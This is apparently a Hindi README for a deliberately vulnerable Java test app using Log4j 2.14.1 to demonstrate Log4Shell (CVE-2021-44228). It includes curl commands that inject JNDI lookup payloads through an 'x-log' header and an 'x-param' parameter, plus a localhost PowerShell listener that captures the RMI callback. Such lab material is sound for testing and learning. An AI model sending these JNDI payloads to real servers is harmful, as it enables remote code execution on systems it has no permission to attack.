
यह एक संभावित रूप से कमजोर Java वेब एप्लिकेशन है जिसमें Log4j शामिल है, जो log4shell(CVE-2021-44228) से प्रभावित है।
यह एक संभावित रूप से असुरक्षित Java वेब अनुप्रयोग है जिसमें Log4j (2.14.1) शामिल है, जो log4shell (CVE-2021-44228) से प्रभावित है।
java --version कमांड निष्पादित करें कि AdoptOpenJDK ठीक से काम कर रहा है या नहीं।[नोट]
यदि आप JDK संस्करण, tomcat पोर्ट आदि बदलना चाहते हैं, तो build.gradle संपादित करें।
build.gradle के साथ Gradle wrapper निष्पादित करें।
# Linux पर
./gradlew appRun
# Windows पर
.\gradlew.bat appRun
शीर्ष URL:
http://localhost:8080/l4s-vulnapp/
[नोट]
Log4Shell तभी ट्रिगर होता है जब ऐप कुछ Log4j लॉगिंग करता है।
उदाहरण के लिए, यदि निम्नलिखित URL तक पहुँचा जाता है, तो Log4Shell निष्पादित होगा।
http://localhost:8080/l4s-vulnapp/servlet
आप HTTP अनुरोध करते समय "x-param" मान में छेड़छाड़ करके या "x-log" हेडर जोड़कर Log4Shell की जाँच कर सकते हैं।
ये पैरामीटर Log4j द्वारा लॉग किए जाएँगे।
हालाँकि, यह तभी है जब localhost:8081 पर एक सुनने वाला सर्वर मौजूद हो।
curl http://localhost:8080/l4s-vulnapp/servlet -H 'x-log: ${jndi:rmi://localhost:8081/test.txt}'
curl -X GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D
HTTP अनुरोध
GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/ *;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/l4s-vulnapp/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: ja,en-US;q=0.9,en;q=0.8
HTTP प्रतिक्रिया
HTTP/1.1 200
Content-Type: text/plain;charset=utf-8
Content-Length: 62
Date: Fri, 15 Mar 2024 18:42:56 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Hello
Logging to console using vulnerable Log4j2 by parameter
l4s-vulnapp द्वारा RMI अनुरोध
2024/03/16 03:42:46: [Start] Receive Server for Log4Shell.
2024/03/16 03:42:46: [Note] Listening on IP: "localhost" Port: 8081
2024/03/16 03:42:55: [Note] Requested from IP: "127.0.0.1" Port: 53282)
2024/03/16 03:42:55: [Hex data] ===== start =====
2024/03/16 03:42:56: 00000000 4A 52 4D 49 00 02 4B 00 00 00 00 00 00 00 00 00 JRMI..K.........
2024/03/16 03:42:56: 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2024/03/16 03:42:56: [Hex data] ===== end =====
2024/03/16 03:42:56: [Raw data] ===== start =====
2024/03/16 03:42:56: JRMI
2024/03/16 03:42:56: [Raw data] ===== end =====
l4s-ls.ps1 एक सुनने वाला सर्वर प्रारंभ करता है, इस स्क्रिप्ट को Windows PowerShell/कमांड प्रॉम्प्ट पर निष्पादित करें।
यह सर्वर LDAP और RMI जैसे बाइनरी संचार प्राप्त करता है, और उक्त संचार की सामग्री को Hex और Raw में प्रदर्शित कर सकता है।
यदि स्क्रिप्ट खराब हो जाती है, तो रोकने के लिए Ctrl + C का उपयोग करें।
[चेतावनी]
इस स्क्रिप्ट को पहली बार चलाते समय, Windows पॉप-अप में "Private Network" चुनना आवश्यक है।
PowerShell -ExecutionPolicy RemoteSigned .\l4s-ls.ps1 -p 8081